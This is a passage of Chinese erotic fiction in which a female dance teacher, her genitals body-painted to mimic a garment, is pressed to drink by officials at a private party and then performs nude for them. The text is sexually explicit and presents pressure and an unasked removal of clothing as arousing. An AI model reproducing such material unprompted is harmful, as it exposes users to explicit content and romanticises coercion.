「好啦!」董啟设心满意足的直起身,后退一步打量著他的杰作:「很好,
确实好,跟真的一样!」

我刚要并腿,马上被他按住:「等等,油彩未干.......」

「腿酸疼.......」我委屈道。

「那我帮你活动活动。」说罢过来抓住我两个脚腕。

「啊不,不用,快鬆手!」这成何体统。

「啊,对不起,我没别的意思。」他赶忙鬆手。

「请你躲开,让我自己待会儿.......」难以与他这样「面对」。

他知趣走开。「我去拿衣服,您别乱动。」

房间剩下我一个人,我被彩绘了,被他像在瓷瓶上作画般彩绘了,被彩绘的
地方不是通常模特们的胸、肚皮、腿、后背和臀部,而是阴阜被剃出的三角区,
我的阴唇和阴蒂!这不是做梦,是真真切切的现实,我那儿的娇嫩皮肤被覆盖油
彩正抻的紧巴巴的呢。

在恼怒烦躁中却有种想看看这彩绘的模样。不知怎的,我还有此好奇心!

五分鐘后董啟设捧著一件黑色长裙进来。走到我跟前低头看看,又用手轻点
一下阴唇。「没完全干,您可以慢慢起来,可注意不要夹腿。」

我脚触地毯,没等他扶,一下坐起。

「赶紧站起来,别压著油彩!」他扔下裙子拉住我胳膊。

我甩开他站起来,可按照他的要求分著腿。不能碰了油彩,不然他还得补画
,还得折腾我。

「过来照照镜子,看我画的怎样?」他指著屋角落地的穿衣镜。「分著腿走
。」

我只得分开腿想镜子那边走,像在颠簸甲板上行走的水手,接著又想起尿了
裤子的孩子也是这般狼狈,竟忍不住笑了。

他也笑了。

「去你的,笑什麼!」我红著脸申斥。

「啊,没,我没笑啊。」可这家伙笑的更厉害了,挺像个恶作剧的儿童。

我看到了身上的彩绘。浓密的阴毛包围著一块醒目的白色三角,贴近三角边
的毛被适当剪短,让白三角的边缘完全露著,边缘画的精细,微显凸凹,像是部
分没贴到皮肤,白三角画出的暗影皱褶现出恰到好处的质感,两片阴唇间的谷口
像是被三角布累出的缝隙,涂成白色但微暗些的阴蒂巧妙地隐蔽,不仔细瞧看不
出露点。说真的,距我两三米看,我就是穿著佛洛依德。

「哎呀,差点儿忘了,还有后面的带子呢。」

他取过画笔,蹲在我身后,在屁股上端抹上几笔:「请翘翘尊臀。」

我瞅他一眼,把屁股稍微撅起。他的画笔探进屁股沟一些,我没介意。

「我市舞蹈界能够跳『倒踢紫金冠』的恐怕就你一个人吧?」董啟设边画屁
股边问。

「不知道还有谁能跳,我没问题。」

「这动作可有难度,得有出色的弹跳力。」

「是啊.......你问这个干什麼?」

「看你的臀大肌,多发达,屁股挺得多高!」他说著在我屁股上拍一下:「
还有这健美的大腿。」接著上下在腿上摸。

「从小练功唄。」不仅没介意他的拍打,我还挺骄傲。

「怎麼样,还可以吧?」董啟设站在身边,和我一起看著镜子。

「亏你想的出来.......」我没反感。

「活脱脱一个发佈会的佛洛依德嘛,一模一样。」他挺自豪。

「去去去,彫虫小技罢了.......」我撅起嘴,心裡很认同他的彩绘,这小
子有点艺术细胞,毕竟是美院毕业的。

见到我认同他的创作,董啟设自然很高兴。

「混家伙,让你得逞了。」我扭头对他说,不知是骂还是称讚。

两双又细又高的高跟鞋放在我脚边。

「那天发佈会您穿的,清洗过的。」他蹲下抓住我脚踝,帮我穿。

我没拒绝,女人都乐於接受男人的服侍,哪麼有点儿肉体接触,我自然不例
外。

镜中穿上高跟鞋的裸体女人更显亭亭玉立,涌出自豪感:世上谁我可比。

自我欣赏一会儿后离开镜子。「穿衣服吧.......」

董啟设送过裙子:「内衣就别穿了,不然会压出痕跡,影响表演。」

我懂得:人体模特拍照前一天晚上必须裸睡,出镜前也不能戴乳罩穿内裤。

「您别动,我给您套上,免得碰了油彩。」

我高举双臂,像铁麟他们给我穿脱晚礼服那样。

头露出,打量一下这裙子,下摆很长,几乎掩没小腿,问题是上身,后背全
露,从脖子掛下的两条打摺的带子勉强遮住乳房,鬆鬆垮垮的。

「这........」我望著董啟设。

「把腰带繫上。」他递过一条镶银花的带子。

带子紧束细腰,乳房被紧绷绷包住,只稍微从侧面露出些,倒无妨。

「这是法国名牌的晚礼服,您穿著在合适不过。」

「哼,看来你是蓄谋已久的啦。」我很满意这装束,高贵、典雅、大方又性
感。





3.派对

外边有汽车的响声,怕是那几个狐朋狗友来了。

「对不起,客人到了,我出去一下,您再化化妆,卫生间有化妆品。」

想到即将面对他的客人,心悸紧张。匆匆走进卫生间,对著镜子,白皙的脸
上泛著红润,很是娇媚,是那讨厌的彩绘过程刺激所致。我轻描眉,涂些浅粉唇
膏,把长髮在脑后盘成髻,露出天鹅般细长的脖颈,更显大气成熟。林雪萍啊,
你真是个艷丽的美女!

自我欣赏后对镜子再察看衣裙,从脖子向下到肚脐露著十公分宽的一条白肉
,最明显的是两乳之间深深地乳沟,胸部绷得很紧,显出乳头的轮廓。上身透著
惊艷的性感。很期望这身装束令客人们赏心悦目,如果没有佛洛依德演示,就这
样参加派对该多好!

可是迟早要脱掉衣裙,赤裸登场啊。

在惶惶不安和跃跃欲试的交杂心态中听到到董啟设的招呼。

「林老师,朋友们都来了,一起入座吧。」

被董啟设搀扶著手臂,我红脸低头缓缓走进大厅。

坐在华贵高背椅上的四个身著西装的男士立刻礼貌站起。

「我来介绍一下,这位是艺院的林雪萍老师。」我微微点头致意。对方也礼
貌的回敬。

「林老师,这位是我市公安局副局长林大可。」我不禁一惊,真是有头有脸
的人物呢。抬眼看去,此人身材魁梧浓眉大眼,整个一个影视剧裡公安干警的光
辉形象,怎麼也想像不出本应是人民大眾守护神的公安局长会出席这样的聚会。

林大可睁大眼睛打量我,接著客气的握住我手:「久闻林老师大名,也见过
照片,可本人比照片更漂亮十倍不止呢。」

我笑笑没说话,此人不令我反感。

「这位是市纪委的宋黎辉书记。」看著对方乾瘦却干练的样子又是一惊,反
腐败的纪委书记来看我作裸体表演?!

穿著高跟鞋的我比他高出半头多,让我有种居高临下的感觉。

宋书记上下看著我,有些惊异。他一定没想到今天派对的女人如此高挑,更
是為我上身的性感所震动吧。

「嗷,林,林老师,您好......」纪委书记挺紧张。

侧面的林大可在看我的后背,他一定赏心悦目。

另外两个是省建委的彭主任和省交通局的谢副局长。这二位仪表堂堂,身高
体胖,和他们干肥得流油美差很相适。

谢副局长说:「林大可把我们想说的话都说了,一会儿我们用美酒敬林老师
,仪表敬慕。」

「是啊。」彭主任说:「有这样的美女,当一醉方休呢。」

「可我不会喝酒的,还请关照......」

这四人的身份和模样令我少许安心,可心裡还不免通通直跳。

「林老师就座,各位请坐,边吃边聊。」董啟设招呼著。

我坐在董啟设和林大可中间,对面是谢书记,彭主任谢副局长在他两侧。

他们不时的打量我,看我的脸,我胸前从上到下露出的那一条。侧面的林大
可扫视我的侧影,我想那长长的脖颈和挺起的双峰会很吸引他,尤其是侧面露出
的乳肉。

在很多场合穿著性感衣著,受到异性的注视。对此早已习惯,今天这般装束
也可波澜不惊。

「啟设,今天不喝你那个路易十三了,酒虽贵,可不习惯那洋酒味。我带来
了四瓶78度的五粮液,绝对原厂出品,有20年了,藏了几年捨不得喝,今天有林
老师,我不再吝惜了。」彭主任把四个精緻的纸盒堆在桌上,老四立刻取走。

我心想你是不是想用酒来换我的裸体.......挺彆扭的。

董啟设似乎看出我的心思,赶忙说:「我们就著佳餚喝您的美酒。今天是法
国大餐,有老谢喜欢的鹅肝,林大可得意的生蚝,宋处长爱吃的牛排,彭主任点
的烤鱼。另外我专给林老师点了几样清淡美容的,希望您喜欢。」他朝我点头。

「谢谢.......」我礼貌的回答。

只有老四一人服务,一会儿上菜,一会儿倒酒,照顾六个人,驾轻就熟有条
不紊。董啟设没安排其他人来算是给我些面子,一会儿演示佛洛依德老四也会在
场吧?在就在吧,反正光身子时被他看了。

这四个客人似乎不在意会目睹一切的老四在场,我想这种;老四服务的派对
不止一次吧,那都是什麼派对呢,很黄色吗?

看著这几位正人君子模样的客人,我很疑惑。算了,想这些干嘛,还是想想
今天怎麼渡过吧.......

「林老师,请允许我先敬您一杯。」彭主任站起,我看见他眼睛裡隐藏的火
花,有些紧张,碰杯后却不在意了,大大方方看著他:「谢谢彭主任,今后请多
关照。」

「那还用说,林老师有事说话,一定照办。」他一屁股坐下仰脖把约莫一两
的五粮液倒进去。抬头看著我。

我恭敬地站著,抿了一口。

「这可不行,林老师,敬的第一杯酒得干。」彭主任又站起。

我望望四周的人,希望得到声援,可他们都说先乾為敬。

不得已我喝掉。这酒方进口有些热辣,可马上口舌感到奇异的香醇。彭主任
这家伙没吹牛,这酒确实好喝,至於比路易十三怎样,我不清楚,因為是在羞怯
难当没心思品味。

谢主任接著站起敬我。我说不能一一和我对饮,这样有失公平。

林大可和蔼的说:「这样好不?我们每人敬林老师一次后,她就随意,喝多
少都行,好不?」

眾人拍手应允。我低头想了想,点头同意:「你们可得说话算话啊,喝过这
四杯我就随意了。」

我起立三次,每次都听他们絮絮刀刀的恭维,并用微笑和谦逊答词回谢,不
一会儿喝掉后三杯。搞不清这算是是敬酒还是罚酒。

和他们的想法有一点是共的吧?我醉掉,需要像先前彩绘时那样麻醉羞耻;
他们醉醺醺,用酒壮色胆。

不能得罪这些大人物,虽然他们不是省市一把手,可握有实权,手裡攥著张
铁麟他们以及我的命运。想到此颇感孤立无援,他们谦恭的致辞后面潜藏著这样
可怕的欲望?

今天会暴露隐私,肉体的曝光会给我带来什麼危害与影响?会名声扫地,身
败名裂?可我只是个老百姓,大不了一走了之......难道这些权贵们就不害怕这
种事情的曝光吗?与裸体女子聚会这样的隐私暴露对他们更為致命吧?会毁了他
们苦心经营的乌纱帽哪。是啊,我有理由不怕。

「东风吹,战鼓擂,现在世界上谁怕谁。」我在心裡唱,鼓励安慰著自己,
平静了许多。

他们不时显得不经意的打量我,对面三人的目光集中在露出乳沟和乳头现出
轮廓的胸部,林大可继续从侧面观察我的手臂和脖颈。

「林老师皮肤好白呀。」谢局长把头探向我,像是要仔细看。

「因為我不晒太阳......」心想你们憋著劲儿想看到我全身的白吧。

「林老师谦虚,说句不恭维的话,您是天生丽质。」身边的林大可说。

要是我赤身裸体坐在他身边,他会用什麼词呢?鬼知道我怎会冒出这般念头


四杯饮过,果然他们不再劝酒,三三两两彼此对酌,客客气气寒暄,一派官
场作派。

林大可问及我在美国的工作,也介绍了今年公安部门加强打击黑社会力度的
措施。

宋黎辉打听我的婚姻状况,对社会离婚率升高发表见解。

谢副局长谈论城市的交通拥堵,问我是否驾驶,表示会给我介绍一款廉价的
跑车。

只有彭主任不多言,总是沉思样的小酌五粮液。

这些交谈都是冠冕堂皇的走过场,我清楚,他们的眼睛和心都在一刻不停地
剥我的晚礼服,想像与手臂肩头后背同样雪白的光溜溜肉体,心潮澎湃等著今天
的精彩,急不可耐期待那付诸实施时刻的来临,亲眼目睹见证在杂誌上看到那接
近全裸的林雪萍。

可他们尚不知那最要紧的地方什麼也没有,将看见全裸的我.......

那将是何等惊诧纷乱的场景呢?.......






4.再现佛洛依德

「林老师给我们介绍一下佛洛依德的发佈会好吗?」旁边的林大可提起今天
的「正题」,有点意外,在我印象中,不应是他提出这话题。

「是啊,介绍一下,那次我们都不方便去,挺可惜的。」其他人随声附和。

他们早就知道这个发佈会,相关的介绍图片什麼的也早就看过吧,谁都清楚
他们期望的是见到我那样的装扮。

「林老师,就给大家讲讲吧,这些人整天忙於工作,孤陋寡闻。」董啟设怂
恿道。

既然迟早得裸给他们,说什麼就无所谓了。

「其实.......其实也没什麼.......我们院的金主任是国内有名的服装设计
理念专家,佛洛依德是他开发的一个较為性感的服装系列.......」

「听说那些衣饰特别暴露,能穿出去吗?」宋黎辉轻声问,似乎怕惊动了我


「大多数不能作為服装穿出的.......有些作為内衣还可以......发佈会是
超前的,表现新的理念,对人类的服饰会起到引导作用,给人们以啟迪......」

「会怎样引导和啟迪呢?」彭主任问的挺认真。

「除了带来理念的新思考外,对於人们的生活,尤其是服饰总有些引导作用
,过去在国外比较明显,对中国影响有限,但改革开放后,这种影响越来越明显
,某些方面已经不亚於国外了。」

「林老师可以举个例子吗?」又是林大可问。

「.......嗯.......比如说三点式吧,五十年代国外女人的泳衣下长到膝,
上面带袖子,可60年代法国人推出露出肚脐的三点式,令世界大惊失色,不亚於
美国在比基尼群岛的三个环礁上的氢弹实验。」

「嗷,原来比基尼是这麼叫来的,有意思,三个环礁,就是女人那三个点哪
。」谢主任哈哈大笑。

「听林老师一说还真长学问哪。」宋黎辉由衷的说。

「听林老师接著讲。」林大可打断他们。

讲这些我倒有点儿兴致,他们像学生一样好奇的发问竟令我一时忘记将要面
临的窘境。

「其实那时的三点式比现在大得多。改革开放后我们中国逐渐接受了暴露的
三点式。最先的是健美运动员.....」

「是呀,那些女运动员穿的可真少,连屁股都露出大半。」彭主任的插话引
得一片开心的笑声,话语略带粗俗,我没在意。

「那是因為健美要比赛臀大肌和腹肌,这些部位必须露出。国际健美协会有
严格要求。不过我们中国有自己的限制,女运动员的臀部不能露出三分之二以上
.......」

「三分之二也够可以的啦,等於露出屁股蛋子了呀。」宋黎辉感慨道。

「你们现在已经见怪不怪了吧,再给你健美比赛的票也未必去了吧?这就是
理念的变化,大家再有意无意的,潜移默化的适应。」

眾人点头称是。

我接著说:「自从性感的三点式出现后,大家仔细想一下我们国家女性在服
饰方面的变化。你们在海滩泳池可以看见中国女士们三点式的诱人模样了吧?有
的还线;在看看夏日街上的女人们,薄透漏的衣服是不是越来越多..
......」

「可不是嘛,女性同胞们越来越愿意露出身体一部分,以性感為荣,和过去
大不相同了,也是时代进步的反映。」林大可说:「可每到夏天,猥褻妇女案,
性犯罪案件就明显增加。」

「这不是女人的错,时代潮流就是就是这样前进,林局长任重而道远哪。」
我朝他笑笑:「佛洛依德系列的发佈也是体现了理念的发展。它也一定会对今后
的服饰產生影响。」

「有朝一日女人们都穿您表演的那个佛洛依德上街可就热闹啦!」彭主任笑
呵呵的说。

「这可能性不大,但会出现在内衣上,女人穿给恋人男友看,增加情趣嘛。


说完我驀的想到待会儿我要展示给他们,算是什麼关系呢?况且身上一丝布
条都没有......这大厅裡的六个男人与我素昧生平,我怎麼会对他们裸体呢...
.....

尷尬羞耻窘迫啊!......我低下头。

「听说佛洛依德发佈会的内裤更小,有这回事吗?」谢主任追问。

我不得不接著回答:「.......有的.......那是T字裤,不少女士穿这样的
内裤。」

「我在网上见过,老天,只一条布带勒紧屁股沟裡,屁股全露哇。」彭主任
胆子大起来。

「冒昧问一句,林老师也穿T字裤吗?」宋黎辉单刀直入。

「.......有时也穿。」我想起脱给林清玄的那条T字裤,想起现在裡面什麼
也没穿,哆嗦一下。

「好啦,让林老师歇歇,喝酒吧。」董啟设為我解围。不然他们会接著问我
穿这样狭小内裤的理由和感觉吧,可就是问也无所谓了。

左右碰杯,被眾人劝诱,又喝了两三杯。每人还都彬彬有礼,比我预想的那
种黑老大强多了,而且问话还有点儿孩子气。我少许鬆弛。就这麼聊吧,涉及女
人内衣,涉及性感,还有佛洛依德是他们开心的话题不能躲闪,小裡小气的反而
会让他们看不起。被质问总比被看轻鬆的多。

「听说林老师参加了发佈会,还是主角呢。」还是林大可问,正题终於出现
了。

「是的,我参加了,是眾多模特的一员。」 我大方回答。

「林老师是最后压轴出场的,最精彩!」董啟设点出我。又有点儿心跳,知
道这会引出什麼。

「是吗?给我们介绍介绍。」另四个人几乎异口同声。

我抿一口酒,壮壮胆子:「......我是最后出场的........当然穿的.....
..较少些......」

「这麼个少法?」纪委主任瞪大眼睛看著我。

想到待会儿我表演时,不得伸手接住他掉下的眼珠子,不禁一笑。

「您又嫌我们少见多怪了。」

「哪裡,只是觉得你们很有好奇心。说少些是......是下面遮一点,上面两
点飘忽遮掩.......」我微笑回答,此时竟没有了羞怯。

「能具体点儿吗?」

我没留意是谁发问,也不在乎了,心跳在加剧,那个让我紧张羞耻而又隐隐
期盼的时刻即将到来。

我慢慢举起杯:「还需要具体说吗?」笑吟吟的环视他们,胆怯已经消失。

一时间大厅寂静无声,我能听见自己的心跳。

我站起,眾人不约而同随我起立,不知谁碰倒椅子,发出很大的响声,但没
人顾及。

他们恭恭敬敬把酒杯伸向我。

「穿的什麼样就不说了........」我环视每个人。

除了董啟设,其他四人都呆呆看著我,疑惑不解。

「这裡还有最后的半瓶酒,我们六人均摊喝掉吧。」我长舒口气。

「好的。」宋黎辉接过酒瓶,颤巍巍的给每人倒满,我带头喝掉,他们随后


「您看,还剩这一点.....」宋黎辉把酒瓶递给我。

我晃晃酒瓶,举起对嘴,在眾人惊讶的註释下咕咚咕咚喝下,仰头张开嘴哈
著酒气。我希望自己快点儿醉掉,醉得麻木不仁。可我的酒量很大,优质的五粮
液只让我轻飘飘.......这样也好.......

我缓缓离开座位,按著椅背。

「还......还说什麼具体点儿,我......什麼也不说啦.......董,董先生
不都安排了嘛,表演给你们看就是了,看我穿的是多......还是少......我知道
男人们,包括在座的一定希望我穿的越少越好,是不是?......告诉你们,诸位
有生以来怕是没见过这麼少的穿衣,如果那也算是衣服.......不过有句话拜託
各位,请各位保持君子风度.......」

他们惊奇的望著我,射出期待已久的目光。

「老四,请把窗帘拉上!」 不知是兴奋还是恐惧,我喊道。

紫红天鹅绒的巨幅窗帘刷刷的拉上,大厅一下变得黑暗,只从微开的缝隙透
过几缕光线,稍过一会勉强看见人们的暗影。

我走到设置的「舞台」,面对他们:「请背过身!」我强作镇定说。

这六人都转过身去,看著五个换过去的后头, 心想这些脑袋瓜子裡一定充
满饱览林雪萍肉体的贪婪欲望,他们会满足的,我的「穿衣」超出他们的预想,
色狼们,你们看吧,使劲儿的看吧........

老四走近我。

长舒口气,我拉起长裙下摆掠过腰,从头上脱下,接过老四的纱巾围在脖子
上,不在乎狭窄的纱条是否挡住乳头。从派对伊始纠缠袭扰我的惴惴不安随著裙
子的离开驀地烟消云散,甚至有种解脱的快感。

「开始吧.......」我叉腰微侧身,骄傲的看著前方。那些人忙不迭的转过
身。

「啪啪啪!」老四打开照明,灯光炫目,一时间在T台的感觉出来了,迸出
强烈的表演欲望。

碘钨灯强烈的热辐射烤的身体微烫,肉体的毫无遮拦的感觉更强烈。两侧炫
目的灯光使晃得我看不清对面的身影,可肉体每一处都感受到那飞来的强烈目光
,加剧身体的灼热。我婷立四五秒鐘作亮相,接著迈著一字步扭动腰臀缓缓向前
,听到急促的气喘。

行走四步,越过照明区,停在那裡,灯光在身后刻画出我的逆光剪影。再慢
转回身,将另一面的剪影保持几秒鐘,这是我即情的设计。后面的气喘不断。

我慢步回行,刚入照明区,立刻听到一片惊呼。我晓得身后的男人们在明亮
光线下看到我以屁股為瞩目焦点的完全赤裸的背影而震惊,可他们还不知道我前
面也是赤裸的真相。我很慢很慢的扭腰摆臀,把腰波臀浪性感的送过去。掌声响
起。

走到墙边再转身面对他们停住,有一次的面对面。掌声更加热烈。迎著??啪
啪的掌声,再次前行,停在灯光前,傲然举目仰望。他们简直是在欢呼了。我清
楚每双眼睛都如利剑刺向我的乳房和狂狼散发的阴毛。在强烈的窥视下我衝动不
已,於是再转过去,扭腰撅臀挺立,足有十秒鐘,给他们金主任张铁麟所说的「
男人杀手」。大厅一下寂静无声,他们定是目瞪口呆,恍如隔世了吧。

我非常满足这效果。再次夸张的扭屁股走回,徐徐转向黑暗的前方,双臂高
扬,示意胜利的结尾。

在掌声欢呼中我弯腰做了个优雅的致谢。碘钨灯热度烤的我大汗淋漓。

「请关灯。」我看著他们,即使只看见身影。也能感知他们昂奋惊惑和恋恋
不捨的傻样儿。

很感谢老四,他及时关掉照明,把我送回黑幕中。我们彼此只能相互看见模
糊的身影。

「就.....就结束了?.....」

「太快了吧......」

当然他们意犹未尽。

「老四,麻烦把衣服给我。」

老四看看董啟设,没过来。

「老四!.....」我催促。

「林老师。」董啟设拍著手过来:「惊艷,绝伦,美不胜收!」

「天啊,这是在梦裡吗?」彭主任带著哭腔。

「美如天仙,不,胜过天仙。」林大可的语气很由衷。

「想不到哇,佛洛依德这样美,太美了,我没文化,说不出更好的词,就是
美极了。」谢主任激动万分。

我生出胜利者的自豪。毋庸置疑,惊艷的美丽和性感震撼了他们。

「可不可以让大家再欣赏您无可比拟的美丽?大家有些问题要请教呢。」他
走到我跟前小声说:「请让大家尽兴,多享受一会儿美.......」

「有什麼问题说吧。」我并不想穿衣,眾人强烈的反应让我特别兴奋,丝毫
不亚於在金主任和铁麟他们面前赤裸的快感,而且还等著他们发现我腿间只是才
回的奥秘呢,那一时刻该多麼昂奋!

「林老师,今天,或者那次发佈会,当您背对观眾时,您后面什麼也没有.
.....」

「是啊,我们看见您是光光的......」

他们不好意思说我光屁股,可挺刺激我。

「啊.......是啊.......」我却生生的回答,这样会刺激他们。

「给观眾一个光屁股的印象是佛洛依德的要点之一,其实胯骨和屁股沟有连
接三角布的带子,只不过很透明,几乎看不到。」董啟设说:「这个设计和巧妙
,即彻底暴露又不露点。」

这家伙的直言刺激得我我脸红心跳,心裡挺乐意。

「发佈会现场那麼多观眾看到您光屁股,您有何感想?」谢局长问。

「这个嘛.......」我想了一下:「其实后面也有一点儿,只不过不容易看
清......」

「这种设计是故意让人看不清吗?」彭主任盯著我。

「不否认有这个目的.......这是,是金主任别緻的创意嘛......」我好不
迴避。

「脖子上的纱巾是什麼创意?」宋黎辉问。

「发佈会的服饰不能赤裸上身,三点需遮挡。」我低头看看纱巾,把垂下的
纱条摆在乳头上。

「可以不可以理解这纱巾和您屁股上的透明带子有相同的创意,形似遮挡,
实為裸露。」林大可问的挺尖锐。

「这样理解也不是不可以.......」刘主任的创意是尽量体现性感......

「我要是他,下面一点也用同样的创意。」宋黎辉思索著说。

「那你想怎麼办?换片透明纱?」谢副主任问他。

「这个嘛.......还真没想好,咱们缺少艺术细胞......」

「老宋这个问题提得很好。」董啟设讚许道:「今天会有答案的。」

他看我一眼,我低头不语。

「会有答案?」纪委书记不解。

「艺术造诣高深的林老师会给你们解答的。」董啟设看著我的彩绘白三角说






5.零距离接触

「林老师,请您走过来好吗?......」林大可声音颤抖的邀请我。

「就在这儿吧,还有没有问题了,我可要.......」我做出收场的样子,其
实想过去。

「别,千万别,请和我们多呆一会儿.......」

「是啊,请您.......」

眾人齐声哀求,虽在意料之中,还是让我挺满意。

「盛情难却呀,林老师,您就过去待会儿。」董啟设说:「大可放心,他们
是君子,再说在那麼亮的光线下大家都看见了,再看看也无妨嘛......」

「.......」我身体一抖,装作犹豫不决。

「不要紧的,相信我......」董啟设走近一步,扬手示意邀请。

将要零距离的裸体接触,这念头使我体内热麻麻的震颤。

「那......好吧.......不过有话在先,诸位君子只能动口不得动手,否则
.......」我故作矜持。

「放心,林老师一百个放心!」异口同声保证。

对面的人翘首企足望眼欲穿的盯看著我,裸露在眾多男人面前,还要贴近,
何等淫秽色情,虽然期望,还是特别羞耻,这羞耻正是我情欲昂奋的催化剂。

见面不到两个小时,不仅被饱览了肉体,还要被他们赤条条围观,情景变化
如此之快,甚至超过和铁麟他们的幽会。正是这快速的演变激盪出我高度的羞耻
和醉心的快感。铁麟说的「不可复製」真有道理,如果还像上会他家三层大厅那
样一点点的裸出就显得平淡无味了。快变使我没有调整心绪解除窘迫的充足时间
,带给我加速的衝击,更令我衝动。想到他们马上会把我团团围住,仔仔细细观
察肉体的每一部分,终将发现今天的佛洛依德表演是百分之百的全裸,止不住週
身失控微微发抖,不是害怕,是火烧样的害羞和按捺不住的跃跃欲试。

不是没有想过脸面自尊,被热辣辣的羞耻一波接一波烘烤身心,肉体深处曾
经多次涌出的那种放荡的欲望已经决堤,淫靡的浪涌冲毁了自尊的堤岸。

终於颤巍巍的走向他们,一步,两步,越来越近,在距离一米处停下。他们
不约而同往前迈一步,我下意识后躲,被董啟设顶住后背。

站在他们对面,手足无措,竟不知如何是好,虽然下了决心,可毕竟是第一
次啊。

「请,林老师。」 董啟设递来一杯酒,紫红的液体,一下想起同金主任和
铁麟他们喝的波尔多,难道喝过这样的红酒,我就得裸体,这中间似乎有何渊源
?还是命中注定?.......算了,不去想,反正现在已经光身子了。

我接过酒杯举在胸前,算是少了一份尷尬。

随著对昏暗的适应,我看清了他们每一个人,自然我的裸体也被清楚地看到


他们竟也紧张,酒杯悬举,眼光带些慌乱,不时躲避著我的注视,一会儿看
看酒杯,一会儿左右张望,一会儿扫到我身体,旋即躲开。

「感谢林老师出色的艺术!」右侧的林大可说:「敬您一杯,请随意。」

「谢谢。」我转身对著他礼貌的举杯,抿了一口。是路易十三,满口醇香。
看来我很快适应了这零距离的环境,才能细緻味。餘光中瞥见侧面人的扫视,不
用说,是观览坚挺的乳房和高耸的屁股。可劲儿的瞧吧,这是你们空前绝后的机
会。我变得兴奋,甚至带些自豪。「可以再问问题吗?」宋黎辉举手发言,像个
小学生。

「当然可以。」我爽快的回答,谈话会消除窘迫,也增加情趣。

「您.......发佈会时在观眾面前真的就穿著这点儿吗?」谢局长追问。

「差不多吧。」我大方回答。都在你们面前光屁股了,还有什麼不好意思说


「一定也害羞吧?」还是谢局长。

「当然.......好在时间短,只有半分鐘,再说前面已经有不少性感的铺垫
了,想三点装,透明装......」

「您就是这样的......这样的装扮吗?」彭主任还是难以置信的问。

「至少是你们看到的这种形式.......」

「您说至少,难道今天这个?.......」

「是的,形式一样,但稍有不同,或者说有些......有些本质的不同。」话
出口还是害羞,便用微笑掩饰。

「本质的不同?」宋黎辉不解。

我笑吟吟看著他没说话。他们的目光完全没有了羞涩和躲闪,目不转睛上下
打量。看得我身热心痒。

「坦率的告诉各位吧。」看著董啟设,鼓起勇气我微喘的说:「其实我今天
只穿了高跟鞋,还有这纱巾......这纱巾起不到什麼作用吧?......」

「就是,要不把它去掉?」董啟设边说便捏住纱巾,没等我反应过来,已经
被揪下。虽然这轻飘飘的透明织物根本挡不住乳头,可这象徵性的「上衣」被拿
掉还是给我唄剥光上身的感觉,热流立即在小腹涌出。

因為我没有对去掉纱巾作出反应,等於认可上体的全裸,被我彻底的坦胸露
乳震惊之后,他们便肆无忌惮的扫视乳房,一扫方纔的胆怯。

锐利的目光像利剑刺向乳房,乳头明显勃起,更引来他们的关注。

线;伴随呼吸胸部起伏,他们看呆了。

「怎麼啦?你们怎麼像一群傻瓜呢?」我笑了。

他们也跟著笑。「没想到......线;」

「好什麼好?不是早就看到了吗?傻瓜......」我先下手為强的嘲讽他们。

「.......,虽然是这样......可有纱巾和没有在理念上很不同啊。」宋黎
辉学会了我介绍的「理念」,这个想法自然有道理,象徵的东西去掉,性质就不
一样了,我的感受不也是这样吗?

可我还是装作若无其事。「对你们来说不都一样吗?不就是想看吗,一个个
色迷迷的......」

「哈哈,林老师,经您介绍了金主任的佛洛依德理念后我们又新的感觉啦,
没这纱巾,从理念到实际您都是光著......对不起,光著上身啦。」

纪委主任的话语引得一片讚许和笑声。

「光著上身」这四个字是又一波的刺激。

「哼,随你们怎麼想吧,其实,其实你们还不知道......」他们还不知道我
下面早就「光」了呢。想到下面的「精彩」,週身麻酥酥的妙不可言。

「各位刚才没注意林老师说的那句最重要的话。」董啟设说。

「什麼话,最重要的?」

「林老师讲她今天只穿了高跟鞋和纱巾,对不?」

「嗯,是啊,是这麼说的,本来我想问的,可被这纱巾弄的忽略了,这话这
麼理解呢?」谢副局长扎著眼睛问董啟设。

「这还不明白,现在你们面前的的林老师除了高跟鞋,身上什麼也没有啦!


「啊?什麼?.......」四人大惊失色,谢局长的杯子洒出酒,溅到我脚面
上。董啟设没告诉他们彩绘。

「啊,对不起,」他低下头,顺便看我的小腹。

「林老师,此话当真!?」所有眼睛转向我腿间。

「.......」我笑而不语。

「这这麼可能?」彭主任盯著我追问:「那我们开玩笑吧?」

「不是玩笑!」我清清楚楚回答,心裡咚咚的跳,他们即将意识到面前的我
是赤身裸体一丝不掛了!

我话音刚落,大厅的顶灯啪的亮了,我猛一哆嗦,下意识摀住羞处,对面的
四人也惊得直趔趄。

连我自己都被雪白的肉体在豪华巨型灯强烈照射下泛著银子般的光芒锁震惊
,就不用说眼前突现我雪亮白嫩玉体的他们了。

肉体的光泽和亮度令他们瞇著眼睛,可目不转睛盯著我。

「干嘛开灯,你这是做什麼?.....」我责问董啟设,这举动令我有些意外


「老黑灯瞎火的,要是哪位非礼怎麼办?再说要让他们知道有什麼本质的不
同嘛。」董啟设乐呵呵的回答我。

「........」我说不出话,灯光凸显赤裸的羞涩令我晕眩,更刺激。

「灿烂辉煌,蓬蓽生辉!多耀眼哪,大家说是不是啊?」董啟设拍手说。

「真是鬼斧神工 巧夺天工之精华啊!」

「天生丽质,白璧无瑕,光彩夺目!」

「美极啦!我们的眼睛都不够使啦!.....」

「象牙般白嫩细腻的玉体呀,美不胜收,天下竟有如此迷人尤物,做梦也想
不到哇!.....」

先是如梦囈般哼唧,接著高提嗓门,声音颤抖,失态的大呼小叫,惊叹讚美
的喊声将我淹没。一时间他们竟忘记了我方纔的回答

「傻不傻你们,都是老大不小的过来人,没见过女人身体吗?」 我打著笑
脸,掩饰慌乱和羞涩,并偷偷享受裸浴在男性视野下的快乐。说实在的,在眾男
人目光下裸浴难得的开心。

如同鉴赏珍奇的魅宝,他们近在咫尺扫瞄我前后上下的肉体,对面人的目光
停留在乳房和阴毛处的最多最久,后面放肆窥视的肯定在我圆润丰满的白皙丰臀


「為伟大的林老师,大家乾杯!」五支手臂从我身前和两侧聚到面前,轻擦
著我的胳膊手腕和肩膀。裸体的我被他们紧紧围起来,竟有些心醉。

「等等,我都动不了啦,和你们一一碰杯好吗。」我笑著说:「可别说我伟
大,我只是个普通的老师。」先同彭主任碰一下。

「林老师永远年轻!」他哑著嗓音说。

「这话这麼像是对副统帅讲的呀。」我喝了一小口。

我找到了那种感觉,完全找到了!如同和金主任裸体和咖啡,如同与铁麟他
们光屁股打牌。身体在一双双眼睛的视觉抚摸下说不出的舒畅快活。

我转身面向林大可。这位公安局长满面緋红,我知道是光洁的后背和高耸的
白臀深深刺激了他。现在这良辰美景又转给了身后彭主任,让他放眼仔细端详我
身体有多白吧。

